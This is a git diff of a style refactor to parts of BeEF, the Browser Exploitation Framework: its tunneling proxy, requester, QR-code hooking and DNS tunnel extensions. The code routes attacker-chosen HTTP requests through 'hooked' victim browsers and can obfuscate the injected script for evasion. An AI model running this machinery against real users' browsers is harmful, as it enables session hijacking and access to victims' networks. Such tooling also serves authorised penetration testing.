# We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors
# when sending attack vectors (see tolerant_parser)
# anti: somehow the config below was removed, have a look into this
tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars"))
tolerant_parser = URI::Parser.new(UNRESERVED: BeEF::Core::Configuration.instance.get('beef.extension.requester.uri_unreserved_chars'))
uri = tolerant_parser.parse(url.to_s)
uri_path_and_qs = uri.query.nil? ? uri.path : "#{uri.path}?#{uri.query}"
# extensions/requester/api/hook.rb parses raw_request to find port and path
raw_request = [method, uri_path_and_qs, version].join(' ') + "\r\n"
raw_request = "#{[method, uri_path_and_qs, version].join(' ')}\r\n"
content_length = 0
loop do
line = socket.readline
if line =~ /^Content-Length:\s+(\d+)\s*$/
content_length = $1.to_i
end
content_length = Regexp.last_match(1).to_i if line =~ /^Content-Length:\s+(\d+)\s*$/
if line.strip.empty?
# read data still in the socket, exactly <content_length> bytes
if content_length >= 0
raw_request += "\r\n" + socket.read(content_length)
end
raw_request += "\r\n#{socket.read(content_length)}" if content_length >= 0
break
else
raw_request += line
@@ -124,24 +117,28 @@ module BeEF
# Saves the new HTTP request to the db. It will be processed by the PreHookCallback of the requester component.
# IDs are created and incremented automatically by DataMapper.
http = H.new(
:request => raw_request,
:method => method,
:proto => proto,
:domain => uri.host,
:port => uri.port,
:path => uri_path_and_qs,
:request_date => Time.now,
:hooked_browser_id => self.get_tunneling_proxy,
:allow_cross_domain => "true"
request: raw_request,
method: method,
proto: proto,
domain: uri.host,
port: uri.port,
path: uri_path_and_qs,
request_date: Time.now,
hooked_browser_id: get_tunneling_proxy,
allow_cross_domain: 'true'
)
http.save
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]")
print_debug(
"[PROXY] --> Forwarding request ##{http.id}: " \
"domain[#{http.domain}:#{http.port}], " \
"method[#{http.method}], " \
"path[#{http.path}], " \
"cross domain[#{http.allow_cross_domain}]"
)
# Wait for the HTTP response to be stored in the db.
# TODO: re-implement this with EventMachine or with the Observer pattern.
while H.find(http.id).has_ran != "complete"
sleep 0.5
end
sleep 0.5 while H.find(http.id).has_ran != 'complete'
@response = H.find(http.id)
print_debug "[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed"
@@ -155,35 +152,37 @@ module BeEF
# Some of the original response headers need to be removed, like encoding and cache related: for example
# about encoding, the original response headers says that the content-length is 1000 as the response is gzipped,
# but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way.
response_headers = ""
if (response_status != -1 && response_status != 0)
ignore_headers = [
"Content-Encoding",
"Keep-Alive",
"Cache-Control",
"Vary",
"Pragma",
"Connection",
"Expires",
"Accept-Ranges",
"Transfer-Encoding",
"Date"]
response_headers = ''
if response_status != -1 && response_status != 0
ignore_headers = %w[
Content-Encoding
Keep-Alive
Cache-Control
Vary
Pragma
Connection
Expires
Accept-Ranges
Transfer-Encoding
Date
]
headers.each_line do |line|
# stripping the Encoding, Cache and other headers
header_key = line.split(': ')[0]
header_value = line.split(': ')[1]
next if header_key.nil?
next if ignore_headers.any?{ |h| h.casecmp(header_key) == 0 }
if header_value.nil?
#headers_hash[header_key] = ""
else
# update Content-Length with the valid one
if header_key == "Content-Length"
response_headers += "Content-Length: #{response_body.size}\r\n"
else
next if ignore_headers.any? { |h| h.casecmp(header_key).zero? }
# ignore headers with no value (@todo: why?)
next if header_value.nil?
unless header_key == 'Content-Length'
response_headers += line
next
end
end
# update Content-Length with the valid one
response_headers += "Content-Length: #{response_body.size}\r\n"
end
end
@@ -193,10 +192,8 @@ module BeEF
end
def get_tunneling_proxy
proxy_browser = HB.where(:is_proxy => true).first
unless proxy_browser.nil?
return proxy_browser.session.to_s
end
proxy_browser = HB.where(is_proxy: true).first
return proxy_browser.session.to_s unless proxy_browser.nil?
hooked_browser = HB.first
unless hooked_browser.nil?
@@ -211,4 +208,3 @@ module BeEF
end
end
end

View File

@@ -6,10 +6,8 @@
module BeEF
module Extension
module Proxy
# This class handles the routing of RESTful API requests for the proxy
class ProxyRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
@@ -27,7 +25,6 @@ module BeEF
# Use a specified hooked browser as proxy
post '/setTargetZombie' do
begin
body = JSON.parse(request.body.read)
hb_id = body['hb_id']
@@ -35,24 +32,23 @@ module BeEF
result['success'] = false
return result.to_json if hb_id.nil?
hooked_browser = @hb.where(:session => hb_id).first
previous_proxy_hb = @hb.where(:is_proxy => true).first
hooked_browser = @hb.where(session: hb_id).first
previous_proxy_hb = @hb.where(is_proxy: true).first
# if another HB is currently set as tunneling proxy, unset it
unless previous_proxy_hb.nil?
previous_proxy_hb.update(:is_proxy => false)
previous_proxy_hb.update(is_proxy: false)
print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy")
end
# set the HB requested in /setTargetProxy as Tunneling Proxy
unless hooked_browser.nil?
hooked_browser.update(:is_proxy => true)
hooked_browser.update(is_proxy: true)
print_info("Using Hooked Browser with ip [#{hooked_browser.ip}] as Tunneling Proxy")
result['success'] = true
end
result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
@@ -61,34 +57,26 @@ module BeEF
halt 500
end
end
# Raised when invalid JSON input is passed to an /api/proxy handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/proxy handler'.freeze
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
end
end
# Raised when an invalid named parameter is passed to an /api/proxy handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/proxy handler'.freeze
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/proxy handler"
message = sprintf str, message unless message.nil?
str = 'Invalid "%s" parameter passed to /api/proxy handler'
message = format str, message unless message.nil?
super(message)
end
end
end
end
end
end

View File

@@ -4,17 +4,15 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Qrcode
module Extension
module Qrcode
extend BeEF::API::Extension
@short_name = 'qrcode'
@full_name = 'QR Code Generator'
@description = 'This extension generates QR Codes for specified URLs which can be used to hook browsers into BeEF.'
end
end
end
end
end
require 'extensions/qrcode/qrcode'

View File

@@ -4,14 +4,12 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Qrcode
module Extension
module Qrcode
module QrcodeGenerator
BeEF::API::Registrar.instance.register(BeEF::Extension::Qrcode::QrcodeGenerator, BeEF::API::Server, 'pre_http_start')
def self.pre_http_start(http_hook_server)
def self.pre_http_start(_http_hook_server)
require 'uri'
require 'qr4r'
@@ -24,68 +22,71 @@ module Qrcode
beef_port = configuration.beef_port
# get URLs from QR config
configuration.get("beef.extension.qrcode.targets").each do |target|
configuration.get('beef.extension.qrcode.targets').each do |target|
# absolute URLs
if target.lines.grep(/^https?:\/\//i).size > 0
if target.lines.grep(%r{^https?://}i).size.positive?
fullurls << target
# relative URLs
else
# network interfaces
BeEF::Core::Console::Banners.interfaces.each do |int|
next if int == "0.0.0.0"
next if int == '0.0.0.0'
fullurls << "#{beef_proto}://#{int}:#{beef_port}#{target}"
end
# beef host
unless beef_host == "0.0.0.0"
fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}"
end
fullurls << "#{beef_proto}://#{beef_host}:#{beef_port}#{target}" unless beef_host == '0.0.0.0'
end
end
unless fullurls.empty?
return unless fullurls.empty?
img_dir = 'extensions/qrcode/images'
begin
Dir.mkdir(img_dir) unless File.directory?(img_dir)
rescue
rescue StandardError
print_error "[QR] Could not create directory '#{img_dir}'"
end
data = ''
fullurls.uniq.each do |target|
fname = ('a'..'z').to_a.shuffle[0,8].join
fname = ('a'..'z').to_a.sample(8).join
qr_path = "#{img_dir}/#{fname}.png"
begin
qr = Qr4r::encode(
Qr4r.encode(
target, qr_path, {
:pixel_size => configuration.get("beef.extension.qrcode.qrsize"),
:border => configuration.get("beef.extension.qrcode.qrborder")
})
rescue
pixel_size: configuration.get('beef.extension.qrcode.qrsize'),
border: configuration.get('beef.extension.qrcode.qrborder')
}
)
rescue StandardError
print_error "[QR] Could not write file '#{qr_path}'"
next
end
print_debug "[QR] Wrote file '#{qr_path}'"
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(
"/#{qr_path}", "/qrcode/#{fname}", 'png')
"/#{qr_path}", "/qrcode/#{fname}", 'png'
)
data += "#{beef_proto}://#{beef_host}:#{beef_port}/qrcode/#{fname}.png\n"
data += "- URL: #{target}\n"
# Google API
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
# url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
# w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# data += "- Google API: https://chart.googleapis.com/chart?cht=qr&chs=#{w}x#{h}&chl=#{url}\n"
# QRServer.com
#url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
#w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
#data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
# url = URI.escape(target,Regexp.new("[^#{URI::PATTERN::UNRESERVED}]"))
# w = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# h = configuration.get("beef.extension.qrcode.qrsize").to_i * 100
# data += "- QRServer API: https://api.qrserver.com/v1/create-qr-code/?size=#{w}x#{h}&data=#{url}\n"
end
print_info "QR code images available:"
print_info 'QR code images available:'
print_more data
end
end
end
end
end
end
end

View File

@@ -4,8 +4,8 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Requester
module Extension
module Requester
module RegisterHttpHandler
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
@@ -18,11 +18,11 @@ module Requester
module RegisterPreHookCallback
BeEF::API::Registrar.instance.register(BeEF::Extension::Requester::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')
def self.pre_hook_send(hooked_browser, body, params, request, response)
def self.pre_hook_send(hooked_browser, body, _params, _request, _response)
dhook = BeEF::Extension::Requester::API::Hook.new
dhook.requester_run(hooked_browser, body)
end
end
end
end
end
end
end

View File

@@ -8,10 +8,8 @@ module BeEF
module Extension
module Requester
module API
require 'uri'
class Hook
include BeEF::Core::Handlers::Modules::BeEFJS
# If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
@@ -21,33 +19,30 @@ module BeEF
# Generate all the requests and output them to the hooked browser
output = []
print_debug hb.to_json
BeEF::Core::Models::Http.where(:hooked_browser_id => hb.session, :has_ran => "waiting").each { |h|
output << self.requester_parse_db_request(h)
}
BeEF::Core::Models::Http.where(hooked_browser_id: hb.session, has_ran: 'waiting').each do |h|
output << requester_parse_db_request(h)
end
return if output.empty?
config = BeEF::Core::Configuration.instance
ws = BeEF::Core::Websocket::Websocket.instance
if config.get("beef.extension.evasion.enable")
evasion = BeEF::Extension::Evasion::Evasion.instance
end
evasion = BeEF::Extension::Evasion::Evasion.instance if config.get('beef.extension.evasion.enable')
# todo antisnatchor: prevent sending "content" multiple times.
# TODO: antisnatchor: prevent sending "content" multiple times.
# Better leaving it after the first run, and don't send it again.
# todo antisnatchor: remove this gsub crap adding some hook packing.
# If we use WebSockets, just reply wih the component contents
if config.get("beef.http.websocket.enable") && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path 'beef.net.requester').gsub('//
if config.get('beef.http.websocket.enable') && ws.getsocket(hb.session)
content = File.read(find_beefjs_component_path('beef.net.requester')).gsub('//
// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file \'doc/COPYING\' for copying permission
//', "")
//', '')
add_to_body output
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
ws.send(evasion.obfuscate(content) + @body, hb.session)
else
ws.send(content + @body, hb.session)
@@ -64,7 +59,7 @@ module BeEF
def add_to_body(output)
config = BeEF::Core::Configuration.instance
req = %Q{
req = %{
beef.execute(function() {
beef.net.requester.send(
#{output.to_json}
@@ -72,7 +67,7 @@ module BeEF
});
}
if config.get("beef.extension.evasion.enable")
if config.get('beef.extension.evasion.enable')
evasion = BeEF::Extension::Evasion::Evasion.instance
@body << evasion.obfuscate(req)
else
@@ -86,7 +81,6 @@ module BeEF
# The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
# and finally sent to and executed by the hooked browser.
def requester_parse_db_request(http_db_object)
allow_cross_domain = http_db_object.allow_cross_domain.to_s
verb = http_db_object.method.upcase
proto = http_db_object.proto.downcase
@@ -98,45 +92,39 @@ module BeEF
@host = http_db_object.domain
@port = http_db_object.port
print_debug "http_db_object:"
print_debug 'http_db_object:'
print_debug http_db_object.to_json
#@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
# @note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
req_parts.each_with_index do |value, index|
if value.match(/^Content-Length:\s+(\d+)/)
@content_length = Integer(req_parts[index].split(/:\s+/)[1])
@content_length = Integer(req_parts[index].split(/:\s+/)[1]) if value.match(/^Content-Length:\s+(\d+)/)
@post_data_index = index if value.eql?('') || value.strip.empty? # this will be the CRLF (before HTTP request body)
end
if value.eql?("") or value.strip.empty? # this will be the CRLF (before HTTP request body)
@post_data_index = index
end
end
#@note: add HTTP request headers to an Hash
# @note: add HTTP request headers to an Hash
req_parts.each_with_index do |value, index|
if verb.eql?('POST')
if index > 0 and index < @post_data_index #only add HTTP headers, not the verb/uri/version or post-data
if index.positive? && (index < @post_data_index) # only add HTTP headers, not the verb/uri/version or post-data
header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1]
headers[header_key] = header_value
end
else
if index > 0 #only add HTTP headers, not the verb/uri/version
elsif index.positive?
header_key = value.split(/: /)[0]
header_value = value.split(/: /)[1]
headers[header_key] = header_value
end
headers[header_key] = header_value # only add HTTP headers, not the verb/uri/version
end
end
# set default port if nil
if @port.nil?
if uri.to_s =~ /^https?/
@port = if uri.to_s =~ /^https?/
# absolute
(uri.match(/^https:/)) ? @port = 443 : @port = 80
uri.match(/^https:/) ? 443 : 80
else
# relative
(proto.eql?('https')) ? @port = 443 : @port = 80
proto.eql?('https') ? 443 : 80
end
end
@@ -153,16 +141,16 @@ module BeEF
}
# Add POST request data
if not @content_length.nil? and @content_length > 0
if !@content_length.nil? && @content_length.positive?
post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length)
@post_data = post_data_sliced.join
http_request_object['data'] = @post_data
end
#@note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
headers.keys.each { |key| http_request_object['headers'][key] = headers[key] }
# @note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
headers.each_key { |key| http_request_object['headers'][key] = headers[key] }
print_debug "result http_request_object"
print_debug 'result http_request_object'
print_debug http_request_object.to_json
http_request_object

View File

@@ -4,11 +4,10 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module Requester
end
end
module Extension
module Requester
end
end
end
require 'extensions/requester/models/http'

View File

@@ -6,12 +6,10 @@
module BeEF
module Extension
module Requester
#
# The http handler that manages the Requester.
#
class Handler
H = BeEF::Core::Models::Http
Z = BeEF::Core::Models::HookedBrowser
@@ -24,39 +22,48 @@ module BeEF
# validates the hook token
beef_hook = @data['beefhook'] || nil
if beef_hook.nil?
print_error "beefhook is null"
print_error 'beefhook is null'
return
end
# validates the request id
request_id = @data['cid'].to_s
if request_id == ''
print_error "Original request id (command id) is null"
print_error 'Original request id (command id) is null'
return
end
if !BeEF::Filters::nums_only?(request_id)
print_error "Original request id (command id) is invalid"
unless BeEF::Filters.nums_only?(request_id)
print_error 'Original request id (command id) is invalid'
return
end
# validates that a hooked browser with the beef_hook token exists in the db
zombie_db = Z.where(:session => beef_hook).first || nil
(print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil?
zombie_db = Z.where(session: beef_hook).first || nil
if zombie_db.nil?
(print_error 'Invalid beefhook id: the hooked browser cannot be found in the database'
return)
end
# validates that we have such a http request saved in the db
http_db = H.where(:id => request_id.to_i, :hooked_browser_id => zombie_db.session).first || nil
http_db = H.where(id: request_id.to_i, hooked_browser_id: zombie_db.session).first || nil
if http_db.nil?
print_error "Invalid http_db: no such request found in the database"
print_error 'Invalid http_db: no such request found in the database'
return
end
# validates that the http request has not been run before
(print_error "This http request has been saved before";return) if http_db.has_ran.eql? "complete"
if http_db.has_ran.eql? 'complete'
(print_error 'This http request has been saved before'
return)
end
# validates the response code
response_code = @data['results']['response_status_code'] || nil
(print_error "Http response code is null";return) if response_code.nil?
if response_code.nil?
(print_error 'Http response code is null'
return)
end
# save the results in the database
http_db.response_headers = @data['results']['response_headers']
@@ -65,13 +72,11 @@ module BeEF
http_db.response_port_status = @data['results']['response_port_status']
http_db.response_data = @data['results']['response_data']
http_db.response_date = Time.now
http_db.has_ran = "complete"
http_db.has_ran = 'complete'
# Store images as binary
# see issue https://github.com/beefproject/beef/issues/449
if http_db.response_headers =~ /Content-Type: image/
http_db.response_data = http_db.response_data.unpack('a*')
end
http_db.response_data = http_db.response_data.unpack('a*') if http_db.response_headers =~ /Content-Type: image/
http_db.save
end

View File

@@ -4,23 +4,28 @@
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
module Models
module Core
module Models
#
# Table stores the http requests and responses from the requester.
#
class Http < BeEF::Core::Model
#
# Removes a request/response from the data store
#
def self.delete(id)
(print_error "Failed to remove response. Invalid response ID."; return) if id.to_s !~ /\A\d+\z/
if id.to_s !~ /\A\d+\z/
(print_error 'Failed to remove response. Invalid response ID.'
return)
end
r = BeEF::Core::Models::Http.find(id.to_i)
(print_error "Failed to remove response [id: #{id}]. Response does not exist."; return) if r.nil?
if r.nil?
(print_error "Failed to remove response [id: #{id}]. Response does not exist."
return)
end
r.destroy
end
end
end
end
end
end
end

View File

@@ -6,10 +6,8 @@
module BeEF
module Extension
module Requester
# This class handles the routing of RESTful API requests for the requester
class RequesterRest < BeEF::Core::Router::Router
# Filters out bad requests before performing any routing
before do
config = BeEF::Core::Configuration.instance
@@ -29,9 +27,8 @@ module BeEF
# Returns a request by ID
get '/request/:id' do
begin
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
requests = H.find(id)
halt 404 if requests.nil?
@@ -51,15 +48,13 @@ module BeEF
print_error "Internal error while retrieving request with id #{id} (#{e.message})"
halt 500
end
end
# Returns all requestes given a specific hooked browser id
get '/requests/:id' do
begin
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id)
requests = H.where(:hooked_browser_id => id)
requests = H.where(hooked_browser_id: id)
halt 404 if requests.nil?
result = {}
@@ -77,32 +72,30 @@ module BeEF
print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})"
halt 500
end
end
# Return a response by ID
get '/response/:id' do
begin
# super debugging
error = {}
error[:code]=0
error[:code] = 0
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
error[:code]=1
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
error[:code] = 1
responses = H.find(id) || nil
error[:code]=2
error[:code] = 2
halt 404 if responses.nil?
error[:code]=3
error[:code] = 3
result = {}
result[:success] = 'true'
error[:code]=4
error[:code] = 4
result[:result] = response2hash(responses)
error[:code]=5
error[:code] = 5
result.to_json
rescue InvalidParamError => e
@@ -116,13 +109,11 @@ module BeEF
error.to_json
# halt 500
end
end
# Deletes a specific response given its id
delete '/response/:id' do
begin
id = params[:id]
raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id)
raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
responses = H.find(id) || nil
halt 404 if responses.nil?
@@ -137,51 +128,35 @@ module BeEF
print_error "Internal error while removing response with id #{id} (#{e.message})"
halt 500
end
end
# Send a new HTTP request to the hooked browser
post '/send/:id' do
begin
id = params[:id]
proto = params[:proto].to_s || 'http'
raw_request = params['raw_request'].to_s
zombie = HB.where(:session => id).first || nil
zombie = HB.where(session: id).first || nil
halt 404 if zombie.nil?
# @TODO: move most of this to the model
if raw_request == ''
raise InvalidParamError, 'raw_request'
end
raise InvalidParamError, 'raw_request' if raw_request == ''
if proto !~ /\Ahttps?\z/
raise InvalidParamError, 'raw_request: Invalid request URL scheme'
end
raise InvalidParamError, 'raw_request: Invalid request URL scheme' if proto !~ /\Ahttps?\z/
req_parts = raw_request.split(/ |\n/)
verb = req_parts[0]
if not BeEF::Filters.is_valid_verb?(verb)
raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported'
end
raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported' unless BeEF::Filters.is_valid_verb?(verb)
uri = req_parts[1]
if not BeEF::Filters.is_valid_url?(uri)
raise InvalidParamError, 'raw_request: Invalid URI'
end
raise InvalidParamError, 'raw_request: Invalid URI' unless BeEF::Filters.is_valid_url?(uri)
version = req_parts[2]
if not BeEF::Filters.is_valid_http_version?(version)
raise InvalidParamError, 'raw_request: Invalid HTTP version'
end
raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_http_version?(version)
host_str = req_parts[3]
if not BeEF::Filters.is_valid_host_str?(host_str)
raise InvalidParamError, 'raw_request: Invalid HTTP version'
end
raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_host_str?(host_str)
# Validate target hsot
host = req_parts[4]
@@ -189,26 +164,24 @@ module BeEF
host_name = host_parts[0]
host_port = host_parts[1] || nil
unless BeEF::Filters.is_valid_hostname?(host_name)
raise InvalidParamError, 'raw_request: Invalid HTTP HostName'
end
raise InvalidParamError, 'raw_request: Invalid HTTP HostName' unless BeEF::Filters.is_valid_hostname?(host_name)
host_port = host_parts[1] || nil
if host_port.nil? || !BeEF::Filters::nums_only?(host_port)
if host_port.nil? || !BeEF::Filters.nums_only?(host_port)
host_port = proto.eql?('https') ? 443 : 80
end
# Save the new HTTP request
http = H.new(
:hooked_browser_id => zombie.session,
:request => raw_request,
:method => verb,
:proto => proto,
:domain => host_name,
:port => host_port,
:path => uri,
:request_date => Time.now,
:allow_cross_domain => "true",
hooked_browser_id: zombie.session,
request: raw_request,
method: verb,
proto: proto,
domain: host_name,
port: host_port,
path: uri,
request_date: Time.now,
allow_cross_domain: 'true'
)
print_debug "added new http request for #{zombie.session}"
@@ -216,9 +189,7 @@ module BeEF
if verb.eql?('POST') || verb.eql?('PUT')
req_parts.each_with_index do |value, index|
if value.match(/^Content-Length/i)
http.content_length = req_parts[index+1]
end
http.content_length = req_parts[index + 1] if value.match(/^Content-Length/i)
end
end
@@ -227,7 +198,7 @@ module BeEF
result = request2hash(http)
print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}"
#result.to_json
# result.to_json
rescue InvalidParamError => e
print_error e.message
halt 400
@@ -235,58 +206,54 @@ module BeEF
print_error "Internal error while removing network host with id #{id} (#{e.message})"
halt 500
end
end
# Convert a request object to Hash
def request2hash(http)
{
:id => http.id,
:proto => http.proto,
:domain => http.domain,
:port => http.port,
:path => http.path,
:has_ran => http.has_ran,
:method => http.method,
:request_date => http.request_date,
:response_date => http.response_date,
:response_status_code => http.response_status_code,
:response_status_text => http.response_status_text,
:response_port_status => http.response_port_status
id: http.id,
proto: http.proto,
domain: http.domain,
port: http.port,
path: http.path,
has_ran: http.has_ran,
method: http.method,
request_date: http.request_date,
response_date: http.response_date,
response_status_code: http.response_status_code,
response_status_text: http.response_status_text,
response_port_status: http.response_port_status
}
end
# Convert a response object to Hash
def response2hash(http)
response_data = ''
response_data = ""
if not http.response_data.nil?
if http.response_data.length > (1024 * 100) # more thank 100K
response_data = http.response_data[0..(1024*100)]
if !http.response_data.nil? && (http.response_data.length > (1024 * 100)) # more thank 100K
response_data = http.response_data[0..(1024 * 100)]
response_data += "\n<---------- Response Data Truncated---------->"
end
end
response_headers = ""
response_headers = http.response_headers if not http.response_headers.nil?
response_headers = ''
response_headers = http.response_headers unless http.response_headers.nil?
{
:id => http.id,
:request => http.request.force_encoding('UTF-8'),
:response => response_data.force_encoding('UTF-8'),
:response_headers => response_headers.force_encoding('UTF-8'),
:proto => http.proto.force_encoding('UTF-8'),
:domain => http.domain.force_encoding('UTF-8'),
:port => http.port.force_encoding('UTF-8'),
:path => http.path.force_encoding('UTF-8'),
:date => http.request_date,
:has_ran => http.has_ran.force_encoding('UTF-8')
id: http.id,
request: http.request.force_encoding('UTF-8'),
response: response_data.force_encoding('UTF-8'),
response_headers: response_headers.force_encoding('UTF-8'),
proto: http.proto.force_encoding('UTF-8'),
domain: http.domain.force_encoding('UTF-8'),
port: http.port.force_encoding('UTF-8'),
path: http.path.force_encoding('UTF-8'),
date: http.request_date,
has_ran: http.has_ran.force_encoding('UTF-8')
}
end
# Raised when invalid JSON input is passed to an /api/requester handler.
class InvalidJsonError < StandardError
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'
DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'.freeze
def initialize(message = nil)
super(message || DEFAULT_MESSAGE)
@@ -295,11 +262,11 @@ module BeEF
# Raised when an invalid named parameter is passed to an /api/requester handler.
class InvalidParamError < StandardError
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'
DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'.freeze
def initialize(message = nil)
str = "Invalid \"%s\" parameter passed to /api/requester handler"
message = sprintf str, message unless message.nil?
str = 'Invalid "%s" parameter passed to /api/requester handler'
message = format str, message unless message.nil?
super(message)
end
end

View File

@@ -7,37 +7,33 @@ module BeEF
module Extension
module ServerClientDnsTunnel
module API
module ServerClientDnsTunnelHandler
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Server, 'pre_http_start' )
BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Server, 'mount_handler' )
BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Server, 'pre_http_start')
BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler,
BeEF::API::Server, 'mount_handler')
# Starts the S2C DNS Tunnel server at BeEF startup.
# @param http_hook_server [BeEF::Core::Server] HTTP server instance
def self.pre_http_start(http_hook_server)
def self.pre_http_start(_http_hook_server)
configuration = BeEF::Core::Configuration.instance
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
raise ArgumentError,'zone name is undefined' unless zone.to_s != ""
raise ArgumentError, 'zone name is undefined' unless zone.to_s != ''
# if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen
listen = configuration.get('beef.extension.s2c_dns_tunnel.listen')
Socket.ip_address_list.map {|x| listen = x.ip_address if x.ipv4?} if listen.to_s.empty?
Socket.ip_address_list.map { |x| listen = x.ip_address if x.ipv4? } if listen.to_s.empty?
port = 53
protocol = :udp
interfaces = [[protocol, listen, port]]
dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance
dns.run(:listen => interfaces, :zone => zone)
dns.run(listen: interfaces, zone: zone)
print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})"
info = ''
info += "Zone: " + zone + "\n"
info += "Zone: #{zone}\n"
print_more info
end
# Mounts the handler for processing HTTP image requests.
@@ -47,9 +43,7 @@ module BeEF
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone))
end
end
end
end
end

View File

@@ -6,36 +6,34 @@
module BeEF
module Extension
module ServerClientDnsTunnel
class RubyDNS::Transaction
def fail!(rcode,domain)
module RubyDNS
class Transaction
def fail!(rcode, domain)
append_question!
if rcode.kind_of? Symbol
@answer.rcode = Resolv::DNS::RCode.const_get(rcode)
@answer.rcode = if rcode.is_a? Symbol
Resolv::DNS::RCode.const_get(rcode)
else
@answer.rcode = rcode.to_i
rcode.to_i
end
if rcode == :NXDomain
return unless rcode == :NXDomain
@answer.aa = 1
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns." + domain),
Resolv::DNS::Name.create("hostmaster." + domain),
Time.now.strftime("%Y%m%d%H").to_i,86400,7200,3600000,172800
)
@answer.add_authority(name,3600,soa)
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns.#{domain}"),
Resolv::DNS::Name.create("hostmaster.#{domain}"),
Time.now.strftime('%Y%m%d%H').to_i, 86_400, 7200, 3_600_000, 172_800)
@answer.add_authority(name, 3600, soa)
end
end
end
class Server < RubyDNS::Server
